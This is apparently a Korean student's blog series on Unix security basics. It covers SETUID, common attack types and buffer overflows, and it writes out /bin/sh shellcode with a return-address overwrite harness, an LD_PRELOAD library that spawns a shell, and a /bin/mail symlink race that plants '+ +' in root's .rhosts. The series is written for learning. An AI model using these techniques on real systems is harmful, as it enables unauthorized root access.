Blog | Tag | Local | Guest | Login | Write |  RSS
Unix 시스템 보안에 해당되는 글 6건

오랜만에 뵙네여. 바로 시작합니다. (시그장님 흠좀무..ㄷㄷ)


전 글에서 설명하였듯이 스택의 적당한 곳에 우리가 직접 작성한 쉘코드를 집어넣어주면 된다. 하지만 이는 말처럼 쉽지만은 않다. 쉘코드를 C언어로 작성한다면 쉽지만 스택에 삽입해야 하기 때문에 기계어 수준의 코드를 필요로 한다는 점이다. 아울러 우리가 삽입한 코드의 어드레스를 알기가 그리 쉽지 않다는 것이다. 하지만 이런 어려움들을 이번 글에서 극복해본다.

쉘코드를 만드는 문제는 이미 인터넷에 현재 널리 사용되는 OS들의 쉘코드가 해커들 사이에 돌아다니고 있기 때문에, 그것을 얻음으로써 어느 정도는 쉽게 해결할 수 있다.

우리가 삽입한 코드의 정확한 위치를 아는 방법은 수많은 시행착오를 통해서 해결할 수 있는데, 여러번 시도해 보면 스택의 어디쯤에 삽입된 코드가 저장되어 있는지를 대략 짐작할 수 있다. 하지만 그 코드를 실행하기 위해서는 정확한 어드레스를 알아야 된다. 이것은 그 코드 앞에 충분히 많은 NOP(null operation) 코드를 삽입한 후 리턴 어드레스가 그 NOP를 가리키게끔 하는 방법으로 극복할 수 있다.

C로 짠 쉘코드

#include <stdio.h>

void main()

{

        char *name[2];

        name[0] = "/bin/sh";

        name[1] = NULL;

        execve(name[0], name, NULL);

}


위 코드를 디스어셈블하여 보면..
$gcc -o shellcode -ggdb -static shellcode.c
$gdb shellcode

...

(gdb) disassemble main
Dump of assembler code for function main:
0x8048124 <main>: pushl %ebp
...
(gdb : GNU Debuger. 컴파일된 파일을 이용하여 disassemble, Memory Map, trace, break 설정 등이 가능하다. 막강한 디버깅툴.)

jmp      0x2a
popl     %esi
movl     %esi, 0x8(%esi)
movb     %0x0, 0x7(%esi)
movl     %0x0, 0xc(%esi)
movl     $0xb, %eax
movl     %esi, %ebx
leal     0x8(%esi), %ecx
leal     0xc(%esi), %edx
int      $0x80
movl     %0x1, %eax
movl     %0x0, %ebx
int      $0x80
call     -0x2f
.string  "/bin/sh"

여기서 잠깐->


이 어셈코드를 스택에 넣은 다음 실행시키면 /bin/sh를 실행시키게 된다. 그렇게 하기 위해서는 위의 코드를 명령인자에 넣어주기 위해선 문자배열로 만들어야 되는데 다음과 같은 문자배열을 만들 수 있다.

"\xeb\x2a"
"\x5e"
"\x89\x76\x08"
"\xc6\x46\x07\x00"
"\xc7\x46\x0c\x00\x00\x00\x00"
"\xb8\x0b\x00\x00\x00"
"\x89\xf3"
"\x8d\x4e\x08"
"\x8d\x56\x0c"
"\xcd\x80"
"\xb8\x01\x00\x00\x00"
"\xbb\x00\x00\x00\x00"
"\xcd\x80"
"\xe8\xd1\xff\xff\xff"
"/bin/sh";


이것을 스택에 넣고 실행시키면 문자열 "/bin/sh"가 실행된다.

char shellcode[] = "\xeb\x2a"

"\x5e"

"\x89\x76\x08"

"\xc6\x46\x07\x00"

"\xc7\x46\x0c\x00\x00\x00\x00"

"\xb8\x0b\x00\x00\x00"

"\x89\xf3"

"\x8d\x4e\x08"

"\x8d\x56\x0c"

"\xcd\x80"

"\xb8\x01\x00\x00\x00"

"\xbb\x00\x00\x00\x00"

"\xcd\x80"

"\xe8\xd1\xff\xff\xff"

"/bin/sh";


void
main()

{

        int *ret;

        ret = (int *)&ret + 2;

        (*ret) = (int)shellcode;

}


[hankyung@hankyung]$ gcc -o test_shell test_shell.c
[hankyung@hankyung]$ ./test_shell
bash$ exit
exit
[hankyung@hankyung]$

-> 쉘코드가 제대로 작동한다.
-> 쉘코드가 정수형이다. Exploit 시에 취약점을 가진 프로그램은 문자형 버퍼를 사용한다. 그래서 \x00 과 같은 NULL 바이트는 문자의 끝으로 인식하기 때문에 쉘코드를 끝까지 실행시킬 수 없다. 이제 NULL 바이트를 없애보자.


movb $0x0, 0x7(%esi)
movl $0x0, 0xc(%esi)

이것을

아래처럼
xorl %eax, %eax
movb %eax, 0x7(%esi)
movl %eax, 0xc(%esi)

(xorl => excursive or. 같은 값을 xor함)

movl $0xb, %eax
이것을

이렇게
movb $0xb, %al

movl $0x1, %eax
movl $0x0, %ebx

이것을

요롷코롬
xorl %ebx, %ebx
movl %ebx, %eax
inc %eax


변환한 쉘코드의 코드를 보면
jmp      0x1f
popl     %esi
movl     %esi, 0x8(%esi)
xorl     %eax, %eax
movb     %eax, 0x7(%esi)
movl     %eax, 0xc(%esi)
movb     $0xb, %al
movl     %esi, %ebx
leal     0x8(%esi), %ecx
leal     0xc(%esi), %edx
int      $0x80
xorl     %ebx, %ebx
movl     %ebx, %eax
inc      %eax
int      $0x80
call     -0x24
.string  "/bin/sh"

이것을 다시 문자배열로 만들어 보자.

"\xeb" "\x1f" "\x5e" "\x89" "\x76" "\x08" "\x31" "\xc0" "\x88" "\x46" "\x07" "\x89" "\x46" "\x0c" "\xb0" "\x0b"
"\x89" "\xf3" "\x8d" "\x4e" "\x08" "\x8d" "\x56" "\x0c" "\xcd" "\x80" "\x31" "\xdb" "\x89" "\xd8" "\x40" "\xcd"
"\x80" "\xe8" "\xdc" "\xff" "\xff" "\xff" "\xef" "\x62" "\x69" "\x6e" "\x2f" "\x73" "\x68" "\x00"

자. 이제 쉘코드를 완성하였다.

우선 이 코드가 어떻게 동작하는지 보자.

* jmp 0x1f
  call -0x24로 점프한다.
* call -0x24
  popl %esi를 호출한다. 이는 문자열 "/bin/sh"가 저장되어 있는 메모리의 영역을 알아내기 위해서이다. (call을 사용하면 리턴 어드레스가 스택에 push됨)
* popl %esi
  스택에 있는 리턴 어드레스 (/bin/sh 가 있는 어드레스)를 pop 해서 %esi에 저장.
* movl %esi, 0x8(%esi)
  %esi로부터 8만큼 떨어진 곳에 %esi (/bin/sh의 어드레스)를 저장한다.
* xorl %eax, %eax
  %eax를 NULL로 만든다.
* movb %eax, 0x7(%esi)
  %esi로부터 7만큼 떨어진 곳에 %eax(NULL)의 1바이트를 저장한다.
* movl %eax, 0xc(%esi)
  %esi로부터 12만큼 떨어진 곳에 %eax(NULL)의 4바이트를 저장한다.
* movb $0xb, %al
  %al에 11을 저장한다.
* movl     %esi, %ebx
  %esi를 %ebx에 저장한다. 현재 %esi는 /bin/sh의 어드레스를 가지고 있다.
* leal     0x8(%esi), %ecx

  %esi로부터 8만큼 떨어진 곳의 어드레스를 %ecx에 저장한다. 이것은 /bin/sh의 어드레스가 저장되어 있는 곳의 어드레스.
* leal     0xc(%esi), %edx

  %esi로부터 12만큼 떨어진 곳의 어드레스를 %edx에 저장한다. 이곳에는 NULL이 저장되어 있다.
* int      $0x80

  0x80 인터럽트를 호출한다. 여기까지 정상적으로 수행이 되었다면 execve(name[0], name, NULL)을 실행시키게 된다. %ebx에 있는 값이 name[0]이고 %ecx에 있는 값이 name이며 %edx에 있는 값이 NULL 이다.
* xorl     %ebx, %ebx

  %ebx를 NULL 로 만든다.
* movl     %ebx, %eax

  %ebx(NULL)를 %eax에 저장한다.
* inc      %eax

  %eax를 1만큼 증가시킨다.
* int      $0x80

  0x80 인터럽트를 호출한다. 쉘을 실행시킨 다음 이 부분은 exit를 호출해서 프로그램을 종료하는 코드이다.



쉘코드를 만들어봤습니다.
이제 공격대상 프로그램의 특정 함수의 리턴 어드레스를 알아내어 삽입하여 봅시다. 그리고 Buffer over flow 공격에 취약한 SUID 프로그램에 명령인자로 넣어주면 됩니다. 다음 글에서는 이것을 가지고 Buffer over flow 공격을 해봅시다. @^^@



이전글 [UNIX 보안 기초 -3-] 대표적인 해킹유형

벌써 한주가 지나갔습니다. 시간 참 빠르네요. 다들 중간고사도 끝났겠구..이제 새로운 시작을 해봅시다. 저는 매번 시작인것 같네요..ㅠ

이번부터는 몇가지 해킹 기법에 대해 약간 깊숙히 소개하려 합니다. 오늘은 BOF(Buffer Over Flow 공격) 인데요. 얼마전 구글폰 G1 과 구글 웹브라우저 크롬에서 버퍼 오버플로우 공격에 대한 취약성이 발견되었죠..
아무튼,, 이제 시작합니다.


C언어로 작성된 프로그램에서는 데이터에 지정된 버퍼의 크기보다 더 많은 양의 데이터가 입력이 되었을 시 프로그램이 비정상적으로 종료되었다. (매번 그 크기를 체크할 경우 수행 성능이 많이 떨어지기 때문이었죠.) 하지만 버퍼가 오버플로우 되는 순간에 사용자가 원하는 임의의 명령어를 수행시킬 수 있는 가능성이 알려지면서 문제가 되기 시작되었다.

우선 버퍼오버플로우 공격을 이해하려면 메모리와 스택의 구조에 대해 알아야 한다. 인텔(intel) x86계열 CPU를 사용하는 리눅스(Linux) OS를 기준으로 설명한다.


* Process memory organization
 - test/data/stack 영역
* stack 영역
 - LIFO (Last In First Out) 구조
 - PUSH/POP operation
 - procedure or function call (함수 호출 후 다음에 수행될 프로그램 주소저장)
 - SP(Stack Pointer), FP(Frame Pointer)(->베이스가 될 수 있는)
 - contents

paramemters, local variables, return address, previous stack frame, etc


다음의 예를 보자.     
void function(int a,int b) {

        char buffer1[5];

        char buffer2[5];

}

void main() {

        function(1,2);

}


char 형 배열을 5byte 공간으로 잡아도 실제 메모리에서는 CPU에 따라 4 or 8 or ...이렇게 잡힌다.

두번째 예를 보자.

 

결과값은 0
return address를 수정했기 때문에 x=1 이 수행되지 않고 바로 printf 문이 수행되었다.

요점 - SUID 걸린 프로그램에 BOF로 공격하여 return address를 shell 띄우는 곳으로 이동하게끔 하면 root 권한을 얻을 수 있다.




C에서는 스택 크기를 원래의 크기 보다 더 크게 공간을 잡는다. 남은 빈 공간에 우리가 직접 Shell 코드를 삽입한 뒤 return address를 쉘코드가 들어가 있는 주소로 이동하게끔 해주면 되겠다.




다음글에서 직접 Shell code를 작성하여 보겠습니다.


이전글 [UNIX 보안 기초 -2-] UNIX 파일시스템 초간략




  • DoS, DDoS - local DoS, remote DoS  (서비스를 불가능하게 하는 공격)
  • 시스템 오류 - 환경변수의 취약성, ptrace, race condition, 잘못된 퍼미션
  • 프로그램의 오류 - setuid, daemon 의 오류 이용, BOF(Buffer Overflow), FSB(Format String Bug)
  • Network의 취약성 - Spoofing, Sniffing
  • 기타 - passwd cracking

다음은 간단한 해킹시도의 원리들이다.

1. DoS, DDoS

DoS (Denial of Service) 공격이란 다중작업을 지원하는 운영체제에서 발생할 수 있는 공격 방법. 구체적으로 한 프로세스가 시스템의 리소스를 독점하거나, 모두 사용해 버리거나 또는 파괴하여서 올바른 서비스를 제공하지 못하도록 하는 공격. 공격 장소에 따라 나누면 local DoS, remote DoS 가 있다.

local DoS - 공격자가 시스템에 들어와서 시행하는 방법. 실제 이를 위해서는 간단한 C코드나 쉘 스크립트를 이용하면 된다. 하지만 이러한 공격법의 문제점은 반드시 시스템에 계정이 있어야 한다는 점.
ex) 디스크 채우기, 메모리 고갈, 프로세스 만들기. Explorer 4.0 자기참조프레임

remote DoS - 일반적으로 이들은 특정 포트를 listen하고 있는 프로세스를 마비시키거나 운영체제의 네트워크 기능 자체를 오동작하게 하거나 LAN 자체를 마비시키는 것으로 분류할 수가 있다. 
ex) ping attack, ICMP(Internet Control Message Protocol)공격, 메일폭탄 등.


2. 환경변수 이용


다중 사용자를 지원하는 서버용 시스템은 각 사용자에 맞는 환경변수를 지정하여서 지정한 환경 하에서 사용자가 좀더 편리하게 작업을 할 수 있도록 도와주고 있다.

PATH - PATH 환경변수는 실행파일이 위치한 디렉토리들을 값으로 가지고 있다. 프로그램 내부에서 절대 경로를 주지 않고 외부 프로그램을 호출한다면 PATH 변수에 포함된 디렉토리들을 순서대로 찾아가면서 호출한다. 프로그래머가 만약 다음과 같은 코드를 사용한다면

...
    exec("ls -l | grep xxx");
...
PATH 변수를 "." (현재 디렉토리)가 가장 앞에 오도록 수정하고, 현재 디렉토리에 'ls'라는 SETUID 실행 파일을 만들어 둔다.

IFS - IFS (Internal Field Seperator)는 프로그램이 exec()나 popen() 등을 이용하여 외부 프로그램을 실행할 때 입력되는 문자열을 여러 필드로 나눌 때 기준이 되는 문자를 정의하는 변수이다. 기본적으로 IFS는 ' ' (space)로 정의된다.

프로그래머가 코드상에서 exec("/usr/lib/sendmail"); 이라고 코드를 넣었다고 가정하자. 만약 이 프로그램을 IFS를 '/' 로 바꾸고 실행하였다면 어떤 효과가 나타날까? exec(" usr lib sendmail"); 을 수행한것이 되어버린다. 즉, exec 의 실행 명령어는 'usr'이 되며 'lib sendmail'은 'usr' 이란 프로그램에 대한 인자로 쓰이게 된다. 만약 path 내에 SETUID 프로그램이라면 보안상의 문제가 된다.

hankyung@ubuntu:~$ IFS="/"; export IFS
IFS 를 "/" 로 바꾸었다.

set | less 명령어로 확인하여 보자.


IFS 가 "/"로 바뀐 것을 확인할 수 있다.

동적 라이브러리 이용 - 유닉스 시스템에서 사용하는 동적 라이브러리(Dynamic Library)를 이용하기 위한 환경변수를 이용해도 프로그램의 오동작을 유도할 수도 있다. 동적라이브러리를 이용하기 위한 환경변수에는 LD_LIBRARY_PATH와 LD_PRELOAD가 있다.

- LD_LIBRARY_PATH : 동적 라이브러리가 들어있는 디렉토리들을 값으로 갖는다.
- LD_PRELOAD : 먼저 loading 해야 하는 동적 라이브러리가 들어있는 디렉토리를 값으로 갖는다.

fgetc(char *buf, int n, FILE *fp) {
    exec("/bin/sh", "-sh", 0);
}
이 코드를 동적 라이브러리로 만든다.
hankyung@ubuntu:~$ cc -c -pic fget.c
hankyung@ubuntu:~$ ld -o libme.so fget.o
만들어진 동적 라이브러리를 다음과 같이 다른 동적라이브러리보다 먼저 링크되도록 한다.
hankyung@ubuntu:~$ setenv LD_PRELOAD .:$LD_PRELOAD

fgetc()를 사용하는 수퍼유저 소유의 SETUID 프로그램을 실행시키면 파일로부터 문자를 받아들이는 원래의 fgetc() 대신에 크래커가 작성한 위의 fgetc()가 실행되어 쉽게 수퍼유저 권한으로 실행된 쉘을 얻을 수 있다.


3. Race Condition(경쟁조건) #1. 임시파일을 생성하는 SETUID가 걸린 프로그램

만약 수퍼유저 소유의 SETUID 프로그램이 임시파일을 만든다면 수퍼유저의 권한으로 파일이 생성될 것이고 이 임시 파일을 프로세스가 접근하기 전에 다른 시스템 파일로 바꿔버린다면 어떤 시스템 파일이든 덮어쓰기가 가능해진다.


root권한의 setuid가 걸린 "good"이라는 프로그램이 있다고 하자.
그런데 이 프로그램은 실행한 후에 /tmp 디렉토리안에 byebye라는 임시파일을 만든다. 이러한 경우, 즉 프로그램이 실행 과정에 임시파일을 생성하는 경우에도 심볼릭링크를 이용하여 해킹을 할 수 있다.
일단 good이라는 프로그램을 실행하면 /tmp/byebye라는 임시파일이 생길 것이다. 일반 사용자가 이 임시파일(/tmp/byebye)을 삭제하고, /etc/passwd의 심볼릭 링크를 만드는데 이름을 /tmp/byebye라고 하여 만들었다.

그럼 이제 다시 good을 실행시키면 어떻게 되겠는가?

good이라는 프로그램엔 root권한의 setuid가 걸려있으므로 실행되는 동안에는 root의 권한이 유지된다. 프로그램이 byebye라는 임시파일을 만드는데 byebye는 /etc/passwd의 심볼릭링크 파일이다. /etc/passwd는 root만이 쓰기가 가능한데, 프로그램 실행 중에는 root권한이기 때문에 결국 /etc/passwd파일에 쓰기가 가능해진다. 따라서 심볼릭링크 파일을 수정하면 원본파일(/etc/passwd)도 수정이 되는 것이다.

이러한 사실을 기초로 하면, 결국 /tmp/byebye의 내용이 /etc/passwd로 들어갈 것이고 /etc/passwd파일은 손상을 입게된다고 예상할 수 있을 것이다.

ex)
-> 문제가 되었던 SunOS의 /bin/mail은 편지를 저장할 때 먼저 그 사용자의 계정을 파일 이름으로 하는 파일의 상태를 검사한다. (lstat()을 이용). 그리고 나서 편지를 저장하기 위해 open()을 수행한다. 즉, 두 시스템 콜 사이에 아무런 변화가 없었다고 가정하고 프로그램이 작성되어 있다. 하지만 lstat()를 사용한 바로 다음에 다른 프로세스가 그 파일을 /.rhosts로 바꿔버리면 편지의 내용은 /.rhosts에 저장하게 된다. 만약 편지의 내용 중에 "+ +"가 들어 있다면 모든 시스템에서 수퍼유저의 권한으로 아무런 제약 없이 로긴할 수 있게 되는 것이다.

hankyung@ubuntu:~$ cd /var/spool/mail; ln -s ~root/.rhosts daemon
hankyung@ubuntu:~$ echo "+ +" | mail daemon
hankyung@ubuntu:~$ rlogin localhost -l root
* /bin/mail 프로그램이 /var/spool/mail/user_id에 해당하는 파일이 symbolic 링크인지 아닌지를 확인하지 않은 채 root의 권한으로 /var/spool/mail/user_id에 해당되는 파일에 수신된 E-mail의 내용을 덮어쓰기 때문에 발생.

4. Race Condition(경쟁조건) #2.

만약 위와 같다면 왜 race condition이 등장하게 되었을까? 그냥 링크 시켜서 하면 되는 것인데, 왜 프로세스 간의 resource 경쟁이 나타나는가? 그것은 일종의 방어자와 공격자의 싸움에서 등장한 결과라고도 볼 수 있다.

프로그래머는 이런 문제점을 인식하고 lstat()을 이용한 방법을 택하였다. lstat()을 이용하여 먼저 modify 하고자 하는 파일이 Symbolic Link인지를 먼저 파악, 그 후 그 파일을 open() 시켜서 처리하도록 한 것이다. 아무런 문제가 없는 듯이 보였다. 그러나, 여기에서 진정한 race condition이 등장한다.

lstat()과 open()사이에는 분명히 갭이 존재한다. 그 갭을 적절히 이용한 것이 바로 race condition인데, 먼저 race 프로그램을 background로 돌린다. race 프로그램은 돌면서, 공격하고자 하는 프로그램이 modify하는 파일을 연속해서 지우고, 링크를 만들고 하는 작업을 반복한다. 그런 후에 공격하고자 하는 프로그램을 돌린다. 그러면 어떻게 될까?

race condition example.

#include <stdio.h>

int main(void)
{
      int childpid;
      int a, b;
      if((childpid = fork()) > 0)
      {
            /* Parent process */
            for(a=0; a<100; a++)
                  printf("O");
            exit(0);
      }
      else
      {
            /* Child process */
            for(b=0; b<100; b++)
                  printf("X");
            exit(0);
      }
}
fork()라는 함수는 동일한 작업을 하는 프로세스를 하나 더 띄우는 함수이다.
그냥 생각하기로는 결과가 OXOXOX...이런 식으로 나오리라 생각할 수 있지만, 실행해보면 OOOXXOXOOOOXXOXXXXOXOOX 이런식으로 얽혀서 주기성이 없이 나타난다. 이것이 바로 race condition의 기본 개념.

(글이 길어저 자세한 내용은 나중에 다룰 "race condition 시도" 글에서 다루도록 하겠습니다.)

5. PTRACE

ptrace는 생성된 프로세스가 어떻게 움직이며, 어떤 식으로 데이터를 읽고 쓰는지, 어떤 에러를 내는지 추적을 하기 위해 마련된 시스템 콜이다. 이것은 주로 디버그를 위해 사용되며, 따라서 디버거는 일종의 ptrace 명령어 묶음 유틸리티라고 보면 옳겠다. 프로그래머는 디버거를 통해 ptrace를 손쉽게 사용할 수 있으며, 자신이 만든 프로그램이 어떻게 수행되는지 총괄적으로 관제할 수 있다.

부모프로세스가 invoke된 자식 프로세스를 통제할 수 있다는 사실. 조작의 대상이 되는 것은 그 프로세스가 가진 variables등의 메모리 core와 registers 들이다. ptrace 명령어들은, 이러한 것들을 읽고 쓰고 할 수 있음으로 해서 그 프로세스에 대한 전체적인 control flow도 조작해낼 수 있다는 것이다.


* Reference
- [book] Security PLUS for UNIX
- BIT 교육센터 유닉스 보안 강의자료
- wikipedia.org
- http://www.hackerslab.org 레벨3


이번주 완전 바빴네요. 과제심사에 중간고사에...ㄷㄷㄷㅠ_ㅠ

다음글 부터는 본격적으로 해킹시도에 대해 공부 및 실습과정을 쓰도록 하겠습니다.
예고- BOF (Buffer Over Flow)



이전글 [UNIX 보안 기초 -1-] 개요.

대표적인 공격유형에 들어가기에 앞서 유닉스 파일시스템의 간단한 구조를 재짚어 보겠습니다.

UNIX 파일시스템 아주 간략하게~



유닉스에서는 하나의 파일을 한명의 유저가 소유한다. 이를 식별하기 위해 파일 정보에는 소유주에 대한 정보가 포함된다. -> UID
 
d rwx r-x r-x


실행파일을 실행시켜 프로세스를 생성할 때에는 세개의 UID가 관련된다.
1. 파일 소유주의 UID
2. 실행시킨 사용자의 UID
3. Effective UID

1번과 2번의 비교로 권한을 비교한다. 실행 권한을 가진것으로 판명 되었을 경우 실제로 프로세스가 생성될 때에는 사용자의 UID가 Real UID가 된다. 즉, 프로세스가 실행중에 실제로 어느 사용자의 권한을 행사할 것인지를 나타내는 것은 Effective UID이다. 일반적인 경우에는 Real UID 와 Effective UID가 같다.
 Real UID와 Effective UID가 달라지는 경우는, 예를들면, 암호변경 파일을 실행하였을 때이다. 사용자 계정관리에 있어서 암호와 그 외의 사용자 정보는 /etc/passwd에 저장된다.

hankyung@ubuntu:~/sectest$ ls -al /etc/passwd
-rw-r--r-- 1 root root 1337 2008-10-15 18:39 /etc/passwd
hankyung@ubuntu:~/sectest$
/etc/passwd 의 소유주는 수퍼유저이다.

암호를 변경하기 위해서는 /etc/passwd 파일을 수정해야 하는데 유닉스에서 Effective UID를 수퍼유저로 일시적으로 만들어줌으로써 해결하고 있다.

hankyung@ubuntu:~/sectest$ ls -al /usr/bin/passwd
-rwsr-xr-x 1 root root 29104 2008-04-02 18:08 /usr/bin/passwd
hankyung@ubuntu:~/sectest$
암호를 바꾸기 위해 실행되는 프로그램인 /usr/bin/passwd
-rwsr-xr-x 에서 볼 수 있듯이 SETUID비트가 붙어있다.

* SETUID
이것의 의미는 Effective UID를 파일 소유주의 UID와 같게 한다는 것이다.
즉 자신의 암호를 수정하기 위해 /bin/passwd를 실행하면 프로그램이 실행되는 동안 수퍼유저의 권한을 가지게 된다는 것이다. 하지만 프로그램이 실행중일 때에만 다른 권한을 지니므로 다른 작업은 수행하지 못하고 해당 프로그램이 제공하는 기능만 수행할 수 있다.

만약 이러한 프로그램이 정상적으로 작동하지 못하고 다른 작업을 수행해 버린다면 그때는 시스템에 커다란 문제를 일으킬 수 있다.

* 링크
링크는 하나의 파일을 여러개의 서로 다른 이름으로 접근할 수 있도록 하는것.
이 기능을 악용하게 되면, /tmp/tmp_data 라는 파일이 있다고 치자. 이 프로그램이 수행되는 도중에 /tmp/tmp_data를 /etc/passwd로 링크시킨다면 이 프로그램은 자신이 생성한 임시 데이터를 /etc/passwd에 쓰고자 할 것이고 만약에 허용된다면 문제가 된다. 물론 이러한 방법은 해당 프로그램이 root의 권한으로 실행되지 않는다면 /etc/passwd를 수정할 수 없으므로 다소 조건이 까다로워지지만 앞서 말한 SETUID와 함께 사용된다면 충분히 가능성은 있다.


* Reference
- [book] Security PLUS for UNIX
- 내컴퓨터



시험기간이라...ㄷㄷㄷ


이전글 [UNIX 보안 기초 -0-] Prologue.

* 보안에 관한 간략한 개요


1. 정보보호란?

The Protection of information against unauthorized disclosure, transfer, modification, or destruction, whether accidential or intentional [ Information Warfare, July 1996 ]
(우연 또는 의도적으로 허가받지 않은 정보의 누출, 전송,수정,파괴 등으로부터 보호)


2. 정보보호의 원칙

  • OECD 의 개인정보보호 8대 원칙 (1980)
  • NIST 컴퓨터 보안 원칙
  • GASSP의 정보보호원칙


3. 관리자의 역할과 책임
 
시스템 관리자는 시스템을 정상적으로 유지하는 데 있어서 가장 중요한 위치에 있는 사람이다. 관리자가 시스템을 어떻게 관리하느냐에 따라 사용자들이 얼마나 유용하고 편리하게 사용할 수 있는가 하는 것이 결정되어지며 그 시스템의 안정성과 보안에 대한 신뢰도도 결정되어진다.

다음 아래는  '이상용 삼성전자 총무보안그룹 차장'의 글

 아래는 보안관리자가 해야 할 가장 기본적인 책무이다.
 - 보안계획 수립
 - 보안지침을 수립하며 개정
 - 주기적으로 보안점검을 수행
 - 침해사고에 대응
 - 보안 시스템 도입을 기획, 운영 및  관리
 - 보안 시스템에 대한 보안성 검토 및 효율성 분석을 수행
 - 보안관련 교육을 실시를 통하여 보안에 대한 인식제고를 향상
 - 보안위반사고 발생시 해당 사항을 경영층에 보고하고 신속한 조치를 실행
 - 보안대책의 변경 시 변경사항이 보안성에 적합한지 판단 

 위의 내용에 부가하여 보안관리자는 실질적인 보안사고에 있어 해당사고를 통한 어떠한 손실이 발생하는지 통계화해서 실제 보안사고를 통하여 기업의 얼마나 많은 손실의 갖게 되는가 분석하고 예방대책을 포함하여 경영층에 제시하도록 하여야 한다.

이와 같은 정보보호관리자의 업무분야는 이미 언급한 것과 같이 경영진과 현업과의 관계수립을 다루어야 한다.

정보보호 거버넌스의 5가지 요소는 다음과 같다.
- 정보보호 이니셔티브를 위한 최고경영진의 참여
- 정보보호 현안에 대한 경영진의 이해
- 정보보호와 기업비지니스의 연계
- 정보보호 핵심척도 분석을 통한 경영진과 관리진의 소유권과 책임
- 조직의 목적에 대한 정보보호의 연계

이상의 요소가 충족되어야만 정보보호 거버넌스가 수립됐다고 할 수 있다.


 
4. 보안등급
 보안을 실시한다고 할 때 과연 어느 정도로 정보가 안전한가를 객관적으로 판단하기 위하여 여러 단체에서 보안의 정도를 판별하는 기준을 세워 놓은 것이 있다. 그 중 가장 권위 있는 것이 Trusted Computer System Evaluation Criteria (TCSEC)이다. 여기에서는 컴퓨터 보안에 관한 여섯 가지 기본 항목을 정하였다. 여섯 가지 항목은 다시 다음의 세 그룹으로 나뉘어진다.

  • Policy
    • Security Policy
    • Marking
  • Accountability
    • Identification
    • Accountability
  • Assurance
    • Assurance
    • Continuous Protection

이 항목들에 의하여 보안등급이 나뉘어진다. 보안등급은 D, C, B, A 등으로 나뉘며 세부적으로는 다시 C1, C2, B1, B2, B3 등으로 나뉘어진다. 보안은 등급이 A로 갈수록 강력하며 같은 등급 내에서는 뒤에 붙는 숫자가 클수록 강력하다. 보안등급에 대하여 간단히 설명하면 다음과 같다.  

 관리자는 시스템을 어느 정도의 보안등급으로 구축할 것인지를 결정하여야 한다. 이때 주의하여야 할 것은 보안등급이 높다고 해서 꼭 좋다고 볼 수만은 없다는 것이다. 너무 엄격하게 보안을 유지한다면 사용자들의 불편이 그만큼 커지기 때문이다. 그러므로 관리자는 이 점을 충분히 고려하여야 한다.

5. 일반적인 침입수법

A. 정상적인 데이터 전송 .
 



B. 방해 (Interrupted)
 ex) DOS (Denial Of Service), etc

C. 가로채기 (Interception)
 ex) Sniffering, etc

D. 수정 (Modification)
 ex) IP address spoofing, DNS spoofing, etc

E. 조작 (Fabrication)
 ex) IP address spoofing, DNS spoofing, etc

 * 침입수법에 따른 구분
- 신분도용 (Impersonation)
- 신뢰받는 기계로 위장 (Transitive trust)
- 부당 이용 (Exploits)
- 자료 이용 (Data driven)
- 하부구조 이용 (Infrastructure)
- 서비스 거부 (Denial of service)

* Reference
- [book] Security PLUS for UNIX
- [Web] http://en.wikipedia.org
- [Web] http://www.oecd.org
- [Web] http://csrc.nist.gov/groups/SMA/fisma/library.html#02
- [Web] http://csrc.nist.gov/publications/nistbul/csl96-10.txt

다음글 예고
대표적인 공격 유형과 대응책. 실습.



안녕하세요.
18-2 전한경입니다.

저는 Unix의 보안 기초에 대해 공부를 하면서 정리해 나갈 것입니다.
여기에 제가 공부했던 것들 하고있는 것들을 정리하면서 참조했던 소스나 자료들은 출처를 링크로 남겨놓겠습니다.

참고서적은
* Security PLUS for UNIX - 포항공대 유닉스 보안연구회 (영진출판사, 2000)
* UNIX NETWORK PROGRAMMING VOLUME 1(제3판) - STEVENS 외 (교보문고, 2005년)
* Advanced Programming in the UNIX Environment - Stevens
                                   +
                          정보의 바다 인터넷

이 되겠습니다.^__^

블로깅은 생각날때, 공부할때 마다 작성할거구요. 아마도 한 40개 정도의 글이 되지 않을까 생각합니다.


내용은 크게 
시스템보안/네트워크보안#1,#2/보안기술/리눅스,윈도NT보안/각종도구들
이렇게 나뉠 것이구요..각 파트당 5~6개의 글들로 구성될 것입니다.


ps.
블로깅에 앞서 편한 글쓰기를 위해 '입니다'가 아닌 '이다'체를 사용할께염~ㅋ



다음글 [UNIX 보안 기초 -1-] 개요